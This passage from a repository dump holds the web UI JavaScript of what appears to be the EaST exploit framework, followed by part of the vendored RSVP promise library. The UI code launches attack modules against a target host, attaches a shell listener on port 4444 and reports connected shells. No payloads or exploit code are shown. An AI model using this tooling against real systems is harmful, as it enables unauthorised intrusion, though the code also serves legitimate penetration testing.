(_.isString(links)) {\n          links = [links];\n        }\n      }\n      return _.filter(links, function(link) {\n        return link && link.length;\n      })\n    }\n  }\n})\n\nvar serviceMessagesTemplate = function(){/*\n    <!--<li><a href=\"#\">Warnings:</a> </li>-->\n  <a href=\"#\" v-show=\"messages && messages.length\"><span class=\"label label-danger\" @click=\"show=!show\">{{messages.length}}</span></a>\n\n  <re-modal title=\"Service Messages\" :show.sync=\"show\" :large=\"true\" :show-ok=\"false\" cancel-text=\"Close\">\n  <ul class=\"list-group\">\n    <li class=\"\" v-for=\"entry in messages\" :class=\"getMessageLevel($index)\">\n        {{entry.message}}\n        <button v-show=\"entry.message_type==1\" class=\"btn btn-default btn-xs\" title=\"Install via PIP\"\n            :disabled=\"entry.installed\" @click=\"install($index)\">{{entry.installed ? 'Installing...': 'Install'}}</button>\n    </li>\n  </ul>\n  </re-modal>\n*/}.toString().slice(14,-3);\nVue.component('re-service-messages', {\n  template: serviceMessagesTemplate,\n  props: {\n    messages: []\n  },\n  data: function() {\n    return {\n      show: false,\n    }\n  },\n  methods: {\n    getMessageLevel: function (index) {\n      var entry = this.messages[index];\n      if (entry.level == 4) {\n        return 'list-group-item list-group-item-danger';\n      } else if (entry.level == 3) {\n        return 'list-group-item list-group-item-warning';\n      } else if (entry.level == 2) {\n        return 'list-group-item list-group-item-info'\n      } else {\n        return ''\n      }\n    },\n    install: function(index) {\n      var entry = this.messages[index];\n      entry.installed = true;\n      var self = this;\n      guiCommandsHandler.installViaPip(entry.module_to_import, function(event) {\n        var args = event.args;\n        if (args.error) {\n          toastr.error(args.message);\n          entry.installed = false;\n          return;\n        }\n        self.messages = _.filter(self.messages, function(message) {\n          if (message.message_type == 1) {\n            return message.module_to_import != entry.module_to_import;\n          } else {\n            return true;\n          }\n        })\n        toastr.success('Module ' + entry.module_to_import + ' successfully installed');\n        if (!self.messages || !self.messages.length) {\n          self.show = false;\n        }\n      });\n    }\n  }\n})"
  },
  {
    "path": "ui/js/guiCommands.js",
    "content": "var GuiCommandsHandler = function() {\n};\n\nGuiCommandsHandler.prototype = {\n    hello: function(callback) {\n        var data = {hello:{name: 'EastUI', type:'ui'}};\n        doSend(data, callback);\n    },\n    \n    showOptions: function(module_name, callback) {\n        var data = {command: 'get_module_options', args: { module_name: module_name }};\n        doSend(data, callback);\n    },\n    \n    getAllData: function(callback){\n        var data = {command: 'get_all_server_data', args: ''};\n        doSend(data, callback);\n    },\n\n    sendListenerCommand: function(module_name, message, callback){\n        var data = { command: 'gui_command_to_listener', args: { module_name: module_name, message: message }};\n        doSend(data, callback);\n    },\n   \n    startModule: function(args, callback){\n        var data = { command: 'start_module', args: args };\n        doSend(data, callback);\n    },\n\n    killProcess: function(tabName){\n        var data = {command: 'kill_process', args: {module_name: tabName}};\n        doSend(data);\n    },\n\n    getSource: function(module_name, callback){\n        var data = {command: 'get_source', args: {'module_name': module_name}};\n        doSend(data, callback);\n    },\n\n    saveSource: function(module_name, code) {\n        var data = {command: 'save_source', args: {'module_name': module_name, 'message': code}};\n        doSend(data);\n    },\n\n    installViaPip: function(library_name, callback) {\n        var data = { command: 'install_via_pip', args: {'library_name': library_name}}\n        doSend(data, callback);\n    },\n\n    getModulesLog: function(callback) {\n        var data = {command: 'get_modules_log', args: {}}\n        doSend(data, callback);\n    },\n};\nguiCommandsHandler = new GuiCommandsHandler();\n\nfunction genUUID4() {\n    return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {\n        var r = Math.random()*16|0, v = c == 'x' ? r : (r&0x3|0x8);\n        return v.toString(16);\n    });\n}\nfunction bindEvent(event_type, callback) {\n    $(document).unbind(event_type);\n    $(document).on(event_type, callback);\n}"
  },
  {
    "path": "ui/js/main.js",
    "content": "toastr.options.timeOut = 1000;\n\n$(document).ready(function() {\n    mainVue = new Vue({\n        el: '#mainVue',\n        data: commonData,\n        events: {\n            onTreeNodeSelected: function(data, module) {\n                this.selectedModule = module;\n            },\n            onTreeNodeClicked: function(module) {\n                this.runSelectedModule(module.NAME);\n            },\n            onTabClose: function(tab) {\n                // Kill process at server-side\n                guiCommandsHandler.killProcess(tab.title);\n            },\n            onSendCommand: function(command, tab) {\n                guiCommandsHandler.sendListenerCommand(tab.title, command);\n                var index = _.indexOf(this.tabsData, tab);\n            },\n            onImageClick: function(image) {\n                imagePopup.showImage(image);\n            },\n            onModuleEdit: function(module) {\n                this.editSelectedModule(module.NAME)\n            }\n                    \n        },\n        ready: function() {\n            bindEvent(\"on_module_message\", this.onModuleMessage);\n            bindEvent(\"on_listener_message\", this.onListenerMessage);\n        },\n        methods: {\n            addTab: function(data) {\n                this.tabs.push(data);\n            },\n            runSelectedModule: function(moduleName) {\n                guiCommandsHandler.showOptions(moduleName, function(evt) {\n                    optionsDialog.showDialog(moduleName, evt.args);                    \n                });\n            },\n\n            editSelectedModule: function(moduleName) {\n                guiCommandsHandler.getSource(moduleName, function(evt) {\n                    var args = evt.args;\n                    var content = args.message;\n                    editorDialog.showContent(moduleName, content);\n                });\n            },\n\n            onModuleMessage: function(e) {\n                var args = e.args;\n                var module = _.find(this.tabs, {title: args.module_name});\n                if(!module)\n                    return\n                var index = _.indexOf(this.tabs, module);\n                if (args.message.type == 'image') {\n                    args.message.message = 'data:image/jpg;base64,' + args.message.message;\n                }\n                module.content.push(args.message);\n                if (args.state != null) {\n                    module.state = args.state;\n                    showTabInfo(module);\n                }\n                if (index != -1) {\n                    var selector = '.tab-content #tab_item_' + index + ' .logView';\n                    Vue.nextTick(function () {\n                       $(selector).scrollTop($(selector)[0].scrollHeight);\n                    })\n                }\n                \n            },\n\n            onListenerMessage: function(e) {\n                var args = e.args;\n                var listenerState = args.state;\n                var listenerMessage = args.message;\n                var module = _.find(this.tabs, {title: args.module_name});\n                if (!module)\n                    return\n                var index = _.indexOf(this.tabs, module);\n                module.listenerMessages += '\\n' + listenerMessage;\n                if (listenerState == 1 && module.listenerState != 1){\n                    module.listenerState = listenerState;\n                    toastr.success(\"Shell successfully connected to \" + args.module_name);\n                    showTabInfo(module);\n                }\n                if (listenerState == 2  && module.listenerState != 2){\n                    module.listenerState = listenerState;\n                    toastr.warning(\"Listener disconnected from \" + args.module_name);\n                    showTabInfo(module);\n                }                \n                var selector = '.tab-content #tab_item_' + index + ' .pre-scrollable';\n                Vue.nextTick(function () {\n                   $(selector).scrollTop($(selector)[0].scrollHeight);\n                })\n            }\n        }\n    })\n\n    optionsDialog = new Vue({\n        el: '#optionsDialog',\n        data: {\n            options: [],\n            show: false,\n            moduleName: {},\n            useListener: false,\n            useCustomPort: false,\n            customPort: 4444,\n            listenerType: 1\n        },\n\n        methods: {\n            showDialog: function(moduleName, options) {\n                var hostPort = commonData.target.split(':');\n                if (hostPort) {\n                    var host = hostPort[0];\n                    var port;\n                    if (hostPort.length > 1) {\n                        port = hostPort[1];\n                    }\n                    _.forEach(options, function(entry, index) {\n                        if (entry.option.toLowerCase() == \"host\")\n                            options[index].value.value = host || entry.value.value;\n                        else if (entry.option.toLowerCase() == \"port\")\n                            options[index].value.value = port || entry.value.value;\n                    })\n                }\n                this.$data.moduleName = moduleName;\n                this.$data.options = options;\n                this.$data.show = true;\n            },\n            ok: function() {\n                var args = {\n                    module_name: this.moduleName,\n                    listener_type: this.listenerType,\n                    use_listener: this.useListener,\n                    use_custom_port: this.useCustomPort,\n                    custom_port: this.customPort,\n                    options: this.options\n                };\n                guiCommandsHandler.startModule(args, function(e) {\n                    var args = e.args;\n                    if (args.error) {\n                        toastr.error(args.message, 'Error', {timeOut: 5000});\n                        return;\n                    }\n                    var data = {\n                        title: args.module_name,\n                        content: [{message: 'Module ' + args.module_name + ' has been started', type: 'text'}],\n                        active: true,\n                        useListener: args.listener,\n                        listenerMessages: '',\n                        listenerState: 0,\n                        state: null\n                    };\n                    mainVue.addTab(data);\n                });\n                this.cancel();\n            },\n\n            cancel: function() {\n                this.show = false;\n            },\n            enableListener: function () {\n              if (!this.useCustomPort) {\n                  this.useListener = true;\n              }\n            },\n            checkCustomPort: function() {\n                if (this.useCustomPort && this.useListener) {\n                    this.useCustomPort = false;\n                }\n            }\n        }\n    })\n\n    imagePopup = new Vue({\n        el: '#imagePopup',\n        data: {\n            image: '',\n            show: false,\n        },\n        methods: {\n            showImage: function(image) {\n                this.image = image;\n                this.show = true;\n            },\n            close: function() {\n                this.show = false;\n            }\n        }\n    })\n\n    editorDialog = new Vue({\n        el: '#editorDialog',\n        data: {\n            show: false,\n            title: '',\n            content: '',\n            editor: null\n        },\n        ready: function() {\n            var scope = this;\n            this.editor = CodeMirror.fromTextArea(document.getElementById('editor'), {\n                lineNumbers: true,\n                indentUnit: 4,\n                mode: \"python\",\n                autofocus: true\n            });\n            this.editor.refresh();\n\n        },\n        methods: {\n            showContent: function(moduleName, content) {\n                this.title = moduleName;\n                this.content = content;\n                this.editor.setValue(content);\n                this.show = true;\n                var self = this;\n                Vue.nextTick(function () {\n                   self.editor.refresh();\n                })\n                \n            },\n            save: function() {\n                this.content = this.editor.getValue();\n                guiCommandsHandler.saveSource(this.title, this.content);\n                this.show = false;\n            }\n        }\n    })\n});\n\nfunction changeFavicon(icon) {\n  var $favicon = document.querySelector('link[rel=\"icon\"]')\n  // If a <link rel=\"icon\"> element already exists,\n  // change its href to the given link.\n  if ($favicon !== null) {\n    $favicon.href = \"/icons/\" + icon\n  // Otherwise, create a new element and append it to <head>.\n  } else {\n    $favicon = document.createElement(\"link\")\n    $favicon.id = 'dynamic-favicon';\n    $favicon.rel = \"icon\"\n    $favicon.href = \"/icons/\" + icon\n    document.head.appendChild($favicon)\n  }\n}\n\nfunction setDefaultInfo() {\n    changeFavicon('transparent.ico');\n    document.title = \"EaST Framework\";\n}\n\nfunction showTabInfo(tab) {\n    if (tab.useListener) {\n        if (tab.listenerState == 0) {\n            changeFavicon('listener-enabled.ico');\n        } else if (tab.listenerState == 1) {\n            changeFavicon('listener-connected.ico');\n        } else if (tab.listenerState == 2) {\n            changeFavicon('listener-disconnected.ico');\n        }\n    } else {\n        changeFavicon('transparent.ico');\n    }\n    var title = tab.title\n    if (tab.state == true) {\n        title += \"(SUCCEEDED)\";\n    } else if (tab.state == false) {\n        title += \"(FAILED)\"\n    } else {\n        title += \"(RUNNING)\"\n    }\n    document.title = title;\n}"
  },
  {
    "path": "ui/js/rsvp.js",
    "content": "(function(global) {\nvar define, requireModule, require, requirejs;\n\n(function() {\n  var registry = {}, seen = {};\n\n  define = function(name, deps, callback) {\n    registry[name] = { deps: deps, callback: callback };\n  };\n\n  requirejs = require = requireModule = function(name) {\n  requirejs._eak_seen = registry;\n\n    if (seen[name]) { return seen[name]; }\n    seen[name] = {};\n\n    if (!registry[name]) {\n      throw new Error(\"Could not find module \" + name);\n    }\n\n    var mod = registry[name],\n        deps = mod.deps,\n        callback = mod.callback,\n        reified = [],\n        exports;\n\n    for (var i=0, l=deps.length; i<l; i++) {\n      if (deps[i] === 'exports') {\n        reified.push(exports = {});\n      } else {\n        reified.push(requireModule(resolve(deps[i])));\n      }\n    }\n\n    var value = callback.apply(this, reified);\n    return seen[name] = exports || value;\n\n    function resolve(child) {\n      if (child.charAt(0) !== '.') { return child; }\n      var parts = child.split(\"/\");\n      var parentBase = name.split(\"/\").slice(0, -1);\n\n      for (var i=0, l=parts.length; i<l; i++) {\n        var part = parts[i];\n\n        if (part === '..') { parentBase.pop(); }\n        else if (part === '.') { continue; }\n        else { parentBase.push(part); }\n      }\n\n      return parentBase.join(\"/\");\n    }\n  };\n})();\n\ndefine(\"rsvp/all\", \n  [\"./promise\",\"exports\"],\n  function(__dependency1__, __exports__) {\n    \"use strict\";\n    var Promise = __dependency1__[\"default\"];\n\n    __exports__[\"default\"] = function all(array, label) {\n      return Promise.all(array, label);\n    };\n  });\ndefine(\"rsvp/all_settled\", \n  [\"./promise\",\"./utils\",\"exports\"],\n  function(__dependency1__, __dependency2__, __exports__) {\n    \"use strict\";\n    var Promise = __dependency1__[\"default\"];\n    var isArray = __dependency2__.isArray;\n    var isNonThenable = __dependency2__.isNonThenable;\n\n    /**\n      `RSVP.allSettled` is similar to `RSVP.all`, but instead of implementing\n      a fail-fast method, it waits until all the promises have returned and\n      shows you all the results. This is useful if you want to handle multiple\n      promises' failure states together as a set.\n\n      Returns a promise that is fulfilled when all the given promises have been\n      settled. The return promise is fulfilled with an array of the states of\n      the promises passed into the `promises` array argument.\n\n      Each state object will either indicate fulfillment or rejection, and\n      provide the corresponding value or reason. The states will take one of\n      the following formats:\n\n      ```javascript\n      { state: 'fulfilled', value: value }\n        or\n      { state: 'rejected', reason: reason }\n      ```\n\n      Example:\n\n      ```javascript\n      var promise1 = RSVP.Promise.resolve(1);\n      var promise2 = RSVP.Promise.reject(new Error('2'));\n      var promise3 = RSVP.Promise.reject(new Error('3'));\n      var promises = [ promise1, promise2, promise3 ];\n\n      RSVP.allSettled(promises).then(function(array){\n        // array == [\n        //   { state: 'fulfilled', value: 1 },\n        //   { state: 'rejected', reason: Error },\n        //   { state: 'rejected', reason: Error }\n        // ]\n        // Note that for the second item, reason.message will be \"2\", and for the\n        // third item, reason.message will be \"3\".\n      }, function(error) {\n        // Not run. (This block would only be called if allSettled had failed,\n        // for instance if passed an incorrect argument type.)\n      });\n      ```\n\n      @method @allSettled\n      @for RSVP\n      @param {Array} promises;\n      @param {String} label - optional string that describes the promise.\n      Useful for tooling.\n      @return {Promise} promise that is fulfilled with an array of the settled\n      states of the constituent promises.\n    */\n\n    __exports__[\"default\"] = function allSettled(entries, label) {\n      return new Promise(function(resolve, reject) {\n        if (!isArray(entries)) {\n          throw new TypeError('You must pass an array to allSettled.');\n        }\n\n        var remaining = entries.length;\n        var entry;\n\n        if (remaining === 0) {\n          resolve([]);\n          return;\n        }\n\n        var results = new Array(remaining);\n\n        function fulfilledResolver(index) {\n          return function(value) {\n            resolveAll(index, fulfilled(value));\n          };\n        }\n\n        function rejectedResolver(index) {\n          return function(reason) {\n            resolveAll(index, rejected(reason));\n          };\n        }\n\n        function resolveAll(index, value) {\n          results[index] = value;\n          if (--remaining === 0) {\n            resolve(results);\n          }\n        }\n\n        for (var index = 0; index < entries.length; index++) {\n          entry = entries[index];\n\n          if (isNonThenable(entry)) {\n            resolveAll(index, fulfilled(entry));\n          } else {\n            Promise.cast(entry).then(fulfilledResolver(index), rejectedResolver(index));\n          }\n        }\n      }, label);\n    };\n\n    function fulfilled(value) {\n      return { state: 'fulfilled', value: value };\n    }\n\n    function rejected(reason) {\n      return { state: 'rejected', reason: reason };\n    }\n  });\ndefine(\"rsvp/asap\", \n  [\"exports\"],\n  function(__exports__) {\n    \"use strict\";\n    __exports__[\"default\"] = function asap(callback, arg) {\n      var length = queue.push([callback, arg]);\n      if (length === 1) {\n        // If length is 1, that means that we need to schedule an async flush.\n        // If additional callbacks are queued before the queue is flushed, they\n        // will be processed by this flush that we are scheduling.\n        scheduleFlush();\n      }\n    };\n\n    var browserGlobal = (typeof window !== 'undefined') ? window : {};\n    var BrowserMutationObserver = browserGlobal.MutationObserver || browserGlobal.WebKitMutationObserver;\n\n    // node\n    function useNextTick() {\n      return function() {\n        process.nextTick(flush);\n      };\n    }\n\n    function useMutationObserver() {\n      var iterations = 0;\n      var observer = new BrowserMutationObserver(flush);\n      var node = document.createTextNode('');\n      observer.observe(node, { characterData: true });\n\n      return function() {\n        node.data = (iterations = ++iterations % 2);\n      };\n    }\n\n    function useSetTimeout() {\n      return function() {\n        setTimeout(flush, 1);\n      };\n    }\n\n    var queue = [];\n    function flush() {\n      for (var i = 0; i < queue.length; i++) {\n        var tuple = queue[i];\n        var callback = tuple[0], arg = tuple[1];\n        callback(arg);\n      }\n      queue = [];\n    }\n\n    var scheduleFlush;\n\n    // Decide what async method to use to triggering processing of queued callbacks:\n    if (typeof process !== 'undefined' && {}.toString.call(process) === '[object process]') {\n      scheduleFlush = useNextTick();\n    } else if (BrowserMutationObserver) {\n      scheduleFlush = useMutationObserver();\n    } else {\n      scheduleFlush = useSetTimeout();\n    }\n  });\ndefine(\"rsvp/config\", \n  [\"./events\",\"exports\"],\n  function(__dependency1__, __exports__) {\n    \"use strict\";\n    var EventTarget = __dependency1__[\"default\"];\n\n    var config = {\n      instrument: false\n    };\n\n    EventTarget.mixin(config);\n\n    function configure(name, value) {\n      if (name === 'onerror') {\n        // handle for legacy users that expect the actual\n        // error to be passed to their function added via\n        // `RSVP.configure('onerror', someFunctionHere);`\n        config.on('error', value);\n        return;\n      }\n\n      if (arguments.length === 2) {\n        config[name] = value;\n      } else {\n        return config[name];\n      }\n    }\n\n    __exports__.config = config;\n    __exports__.configure = configure;\n  });\ndefine(\"rsvp/defer\", \n  [\"./promise\",\"exports\"],\n  function(__dependency1__, __exports__) {\n    \"use strict\";\n    var Promise = __dependency1__[\"default\"];\n\n    /**\n      `RSVP.defer` returns an object similar to jQuery's `$.Deferred` objects.\n      `RSVP.defer` should be used when porting over code reliant on `$.Deferred`'s\n      interface. New code should use the `RSVP.Promise` constructor instead.\n\n      The object returned from `RSVP.defer` is a plain object with three properties:\n\n      * promise - an `RSVP.Promise`.\n      * reject - a function that causes the `promise` property on this object to\n        become rejected\n      * resolve - a function that causes the `promise` property on this object to\n        become fulfilled.\n\n      Example:\n\n       ```javascript\n       var deferred = RSVP.defer();\n\n       deferred.resolve(\"Success!\");\n\n       defered.promise.then(function(value){\n         // value here is \"Success!\"\n       });\n       ```\n\n      @method defer\n      @for RSVP\n      @param {String} label optional string for labeling the promise.\n      Useful for tooling.\n      @return {Object}\n     */\n\n    __exports__[\"default\"] = function defer(label) {\n      var deferred = { };\n\n      deferred.promise = new Promise(function(resolve, reject) {\n        deferred.resolve = resolve;\n        deferred.reject = reject;\n      }, label);\n\n      return deferred;\n    };\n  });\ndefine(\"rsvp/events\", \n  [\"exports\"],\n  function(__exports__) {\n    \"use strict\";\n    var indexOf = function(callbacks, callback) {\n      for (var i=0, l=callbacks.length; i<l; i++) {\n        if (callbacks[i] === callback) { return i; }\n      }\n\n      return -1;\n    };\n\n    var callbacksFor = function(object) {\n      var callbacks = object._promiseCallbacks;\n\n      if (!callbacks) {\n        callbacks = object._promiseCallbacks = {};\n      }\n\n      return callbacks;\n    };\n\n    /**\n      //@module RSVP\n      //@class EventTarget\n    */\n    __exports__[\"default\"] = {\n\n      /**\n        `RSVP.EventTarget.mixin` extends an object with EventTarget methods. For\n        Example:\n\n        ```javascript\n        var object = {};\n\n        RSVP.EventTarget.mixin(object);\n\n        object.on(\"finished\", function(event) {\n          // handle event\n        });\n\n        object.trigger(\"finished\", { detail: value });\n        ```\n\n        `EventTarget.mixin` also works with prototypes:\n\n        ```javascript\n        var Person = function() {};\n        RSVP.EventTarget.mixin(Person.prototype);\n\n        var yehuda = new Person();\n        var tom = new Person();\n\n        yehuda.on(\"poke\", function(event) {\n          console.log(\"Yehuda says OW\");\n        });\n\n        tom.on(\"poke\", function(event) {\n          console.log(\"Tom says OW\");\n        });\n\n        yehuda.trigger(\"poke\");\n        tom.trigger(\"poke\");\n        ```\n\n        @method mixin\n        @param {Object} object object to extend with EventTarget methods\n        @private\n      */\n      mixin: function(object) {\n        object.on = this.on;\n        object.off = this.off;\n        object.trigger = this.trigger;\n        object._promiseCallbacks = undefined;\n        return object;\n      },\n\n      /**\n        Registers a callback to be executed when `eventName` is triggered\n\n        ```javascript\n        object.on('event', function(eventInfo){\n          // handle the event\n        });\n\n        object.trigger('event');\n        ```\n\n        @method on\n        @param {String} eventName name of the event to listen for\n        @param {Function} callback function to be called when the event is triggered.\n        @private\n      */\n      on: function(eventName, callback) {\n        var allCallbacks = callbacksFor(this), callbacks;\n\n        callbacks = allCallbacks[eventName];\n\n        if (!callbacks) {\n          callbacks = allCallbacks[eventName] = [];\n        }\n\n        if (indexOf(callbacks, callback) === -1) {\n          callbacks.push(callback);\n        }\n      },\n\n      /**\n        You can use `off` to stop firing a particular callback for an event:\n\n        ```javascript\n        function doStuff() { // do stuff! }\n        object.on('stuff', doStuff);\n\n        object.trigger('stuff'); // doStuff will be called\n\n        // Unregister ONLY the doStuff callback\n        object.off('stuff', doStuff);\n        object.trigger('stuff'); // doStuff will NOT be called\n        ```\n\n        If you don't pass a `callback` argument to `off`, ALL callbacks for the\n        event will not be executed when the event fires. For example:\n\n        ```javascript\n        var callback1 = function(){};\n        var callback2 = function(){};\n\n        object.on('stuff', callback1);\n        object.on('stuff', callback2);\n\n        object.trigger('stuff'); // callback1 and callback2 will be executed.\n\n        object.off('stuff');\n        object.trigger('stuff'); // callback1 and callback2 will not be executed!\n        ```\n\n        @method off\n        @param {String} eventName event to stop listening to\n        @param {Function} callback optional argument. If given, only the function\n        given will be removed from the event's callback queue. If no `callback`\n        argument is given, all callbacks will be removed from the event's callback\n        queue.\n        @private\n\n      */\n      off: function(eventName, callback) {\n        var allCallbacks = callbacksFor(this), callbacks, index;\n\n        if (!callback) {\n          allCallbacks[eventName] = [];\n          return;\n        }\n\n        callbacks = allCallbacks[eventName];\n\n        index = indexOf(callbacks, callback);\n\n        if (index !== -1) { callbacks.splice(index, 1); }\n      },\n\n      /**\n        Use `trigger` to fire custom events. For example:\n\n        ```javascript\n        object.on('foo', function(){\n          console.log('foo event happened!');\n        });\n        object.trigger('foo');\n        // 'foo event happened!' logged to the console\n        ```\n\n        You can also pass a value as a second argument to `trigger` that will be\n        passed as an argument to all event listeners for the event:\n\n        ```javascript\n        object.on('foo', function(value){\n          console.log(value.name);\n        });\n\n        object.trigger('foo', { name: 'bar' });\n        // 'bar' logged to the console\n        ```\n\n        @method trigger\n        @param {String} eventName name of the event to be triggered\n        @param {Any} options optional value to be passed to any event handlers for\n        the given `eventName`\n        @private\n      */\n      trigger: function(eventName, options) {\n        var allCallbacks = callbacksFor(this),\n            callbacks, callbackTuple, callback, binding;\n\n        if (callbacks = allCallbacks[eventName]) {\n          // Don't cache the callbacks.length since it may grow\n          for (var i=0; i<callbacks.length; i++) {\n            callback = callbacks[i];\n\n            callback(options);\n          }\n        }\n      }\n    };\n  });\ndefine(\"rsvp/filter\", \n  [\"./all\",\"./map\",\"./utils\",\"exports\"],\n  function(__dependency1__, __dependency2__, __dependency3__, __exports__) {\n    \"use strict\";\n    var all = __dependency1__[\"default\"];\n    var map = __dependency2__[\"default\"];\n    var isFunction = __dependency3__.isFunction;\n    var isArray = __dependency3__.isArray;\n\n    /**\n     `RSVP.filter` is similar to JavaScript's native `filter` method, except that it\n      waits for all promises to become fulfilled before running the `filterFn` on\n      each item in given to `promises`. `RSVP.filterFn` returns a promise that will\n      become fulfilled with the result of running `filterFn` on the values the\n      promises become fulfilled with.\n\n      For example:\n\n      ```javascript\n\n      var promise1 = RSVP.resolve(1);\n      var promise2 = RSVP.resolve(2);\n      var promise3 = RSVP.resolve(3);\n\n      var filterFn = function(item){\n        return item > 1;\n      };\n\n      RSVP.filter(promises, filterFn).then(function(result){\n        // result is [ 2, 3 ]\n      });\n      ```\n\n      If any of the `promises` given to `RSVP.filter` are rejected, the first promise\n      that is rejected will be given as an argument to the returned promises's\n      rejection handler. For example:\n\n      ```javascript\n      var promise1 = RSVP.resolve(1);\n      var promise2 = RSVP.reject(new Error(\"2\"));\n      var promise3 = RSVP.reject(new Error(\"3\"));\n      var promises = [ promise1, promise2, promise3 ];\n\n      var filterFn = function(item){\n        return item > 1;\n      };\n\n      RSVP.filter(promises, filterFn).then(function(array){\n        // Code here never runs because there are rejected promises!\n      }, function(reason) {\n        // reason.message === \"2\"\n      });\n      ```\n\n      `RSVP.filter` will also wait for any promises returned from `filterFn`.\n      For instance, you may want to fetch a list of users then return a subset\n      of those users based on some asynchronous operation:\n\n      ```javascript\n\n      var alice = { name: 'alice' };\n      var bob   = { name: 'bob' };\n      var users = [ alice, bob ];\n\n      var promises = users.map(function(user){\n        return RSVP.resolve(user);\n      });\n\n      var filterFn = function(user){\n        // Here, Alice has permissions to create a blog post, but Bob does not.\n        return getPrivilegesForUser(user).then(function(privs){\n          return privs.can_create_blog_post === true;\n        });\n      };\n      RSVP.filter(promises, filterFn).then(function(users){\n        // true, because the server told us only Alice can create a blog post.\n        users.length === 1;\n        // false, because Alice is the only user present in `users`\n        users[0] === bob;\n      });\n      ```\n\n      @method filter\n      @for RSVP\n      @param {Array} promises\n      @param {Function} filterFn - function to be called on each resolved value to\n      filter the final results.\n      @param {String} label optional string describing the promise. Useful for\n      tooling.\n      @return {Promise}\n    */\n    function filter(promises, filterFn, label) {\n      if (!isArray(promises)) {\n        throw new TypeError('You must pass an array to filter.');\n      }\n\n      if (!isFunction(filterFn)){\n        throw new TypeError(\"You must pass a function to filter's second argument.\");\n      }\n\n      return all(promises, label).then(function(values){\n        return map(promises, filterFn, label).then(function(filterResults){\n           var i,\n               valuesLen = values.length,\n               filtered = [];\n\n           for (i = 0; i < valuesLen; i++){\n             if(filterResults[i]) filtered.push(values[i]);\n           }\n           return filtered;\n        });\n      });\n    }\n\n    __exports__[\"default\"] = filter;\n  });\ndefine(\"rsvp/hash\", \n  [\"./promise\",\"./utils\",\"exports\"],\n  function(__dependency1__, __dependency2__, __exports__) {\n    \"use strict\";\n    var Promise = __dependency1__[\"default\"];\n    var isNonThenable = __dependency2__.isNonThenable;\n    var keysOf = __dependency2__.keysOf;\n\n    /**\n      `RSVP.hash` is similar to `RSVP.all`, but takes an object instead of an array\n      for its `promises` argument.\n\n      Returns a promise that is fulfilled when all the given promises have been\n      fulfilled, or rejected if any of them become rejected. The returned promise\n      is fulfilled with a hash that has the same key names as the `promises` object\n      argument. If any of the values in the object are not promises, they will\n      simply be copied over to the fulfilled object.\n\n      Example:\n\n      ```javascript\n      var promises = {\n        myPromise: RSVP.resolve(1),\n        yourPromise: RSVP.resolve(2),\n        theirPromise: RSVP.resolve(3),\n        notAPromise: 4\n      };\n\n      RSVP.hash(promises).then(function(hash){\n        // hash here is an object that looks like:\n        // {\n        //   myPromise: 1,\n        //   yourPromise: 2,\n        //   theirPromise: 3,\n        //   notAPromise: 4\n        // }\n      });\n      ````\n\n      If any of the `promises` given to `RSVP.hash` are rejected, the first promise\n      that is rejected will be given as as the first argument, or as the reason to\n      the rejection handler. For example:\n\n      ```javascript\n      var promises = {\n        myPromise: RSVP.resolve(1),\n        rejectedPromise: RSVP.reject(new Error(\"rejectedPromise\")),\n        anotherRejectedPromise: RSVP.reject(new Error(\"anotherRejectedPromise\")),\n      };\n\n      RSVP.hash(promises).then(function(hash){\n        // Code here never runs because there are rejected promises!\n      }, function(reason) {\n        // reason.message === \"rejectedPromise\"\n      });\n      ```\n\n      An important note: `RSVP.hash` is intended for plain JavaScript objects that\n      are just a set of keys and values. `RSVP.hash` will NOT preserve prototype\n      chains.\n\n      Example:\n\n      ```javascript\n      function MyConstructor(){\n        this.example = RSVP.resolve(\"Example\");\n      }\n\n      MyConstructor.prototype = {\n        protoProperty: RSVP.resolve(\"Proto Property\")\n      };\n\n      var myObject = new MyConstructor();\n\n      RSVP.hash(myObject).then(function(hash){\n        // protoProperty will not be present, instead you will just have an\n        // object that looks like:\n        // {\n        //   example: \"Example\"\n        // }\n        //\n        // hash.hasOwnProperty('protoProperty'); // false\n        // 'undefined' === typeof hash.protoProperty\n      });\n      ```\n\n      @method hash\n      @for RSVP\n      @param {Object} promises\n      @param {String} label - optional string that describes the promise.\n      Useful for tooling.\n      @return {Promise} promise that is fulfilled when all properties of `promises`\n      have been fulfilled, or rejected if any of them become rejected.\n    */\n    __exports__[\"default\"] = function hash(object, label) {\n      return new Promise(function(resolve, reject){\n        var results = {};\n        var keys = keysOf(object);\n        var remaining = keys.length;\n        var entry, property;\n\n        if (remaining === 0) {\n          resolve(results);\n          return;\n        }\n\n       function fulfilledTo(property) {\n          return function(value) {\n            results[property] = value;\n            if (--remaining === 0) {\n              resolve(results);\n            }\n          };\n        }\n\n        function onRejection(reason) {\n          remaining = 0;\n          reject(reason);\n        }\n\n        for (var i = 0; i < keys.length; i++) {\n          property = keys[i];\n          entry = object[property];\n\n          if (isNonThenable(entry)) {\n            results[property] = entry;\n            if (--remaining === 0) {\n              resolve(results);\n            }\n          } else {\n            Promise.cast(entry).then(fulfilledTo(property), onRejection);\n          }\n        }\n      });\n    };\n  });\ndefine(\"rsvp/instrument\", \n  [\"./config\",\"./utils\",\"exports\"],\n  function(__dependency1__, __dependency2__, __exports__) {\n    \"use strict\";\n    var config = __dependency1__.config;\n    var now = __dependency2__.now;\n\n    __exports__[\"default\"] = function instrument(eventName, promise, child) {\n      // instrumentation should not disrupt normal usage.\n      try {\n        config.trigger(eventName, {\n          guid: promise._guidKey + promise._id,\n          eventName: eventName,\n          detail: promise._detail,\n          childGuid: child && promise._guidKey + child._id,\n          label: promise._label,\n          timeStamp: now(),\n          stack: new Error(promise._label).stack\n        });\n      } catch(error) {\n        setTimeout(function(){\n          throw error;\n        }, 0);\n      }\n    };\n  });\ndefine(\"rsvp/map\", \n  [\"./promise\",\"./all\",\"./utils\",\"exports\"],\n  function(__dependency1__, __dependency2__, __dependency3__, __exports__) {\n    \"use strict\";\n    var Promise = __dependency1__[\"default\"];\n    var all = __dependency2__[\"default\"];\n    var isArray = __dependency3__.isArray;\n    var isFunction = __dependency3__.isFunction;\n\n    /**\n\n     `RSVP.map` is similar to JavaScript's native `map` method, except that it\n      waits for all promises to become fulfilled before running the `mapFn` on\n      each item in given to `promises`. `RSVP.map` returns a promise that will\n      become fulfilled with the result of running `mapFn` on the values the promises\n      become fulfilled with.\n\n      For example:\n\n      ```javascript\n\n      var promise1 = RSVP.resolve(1);\n      var promise2 = RSVP.resolve(2);\n      var promise3 = RSVP.resolve(3);\n      var promises = [ promise1, promise2, promise3 ];\n\n      var mapFn = function(item){\n        return item + 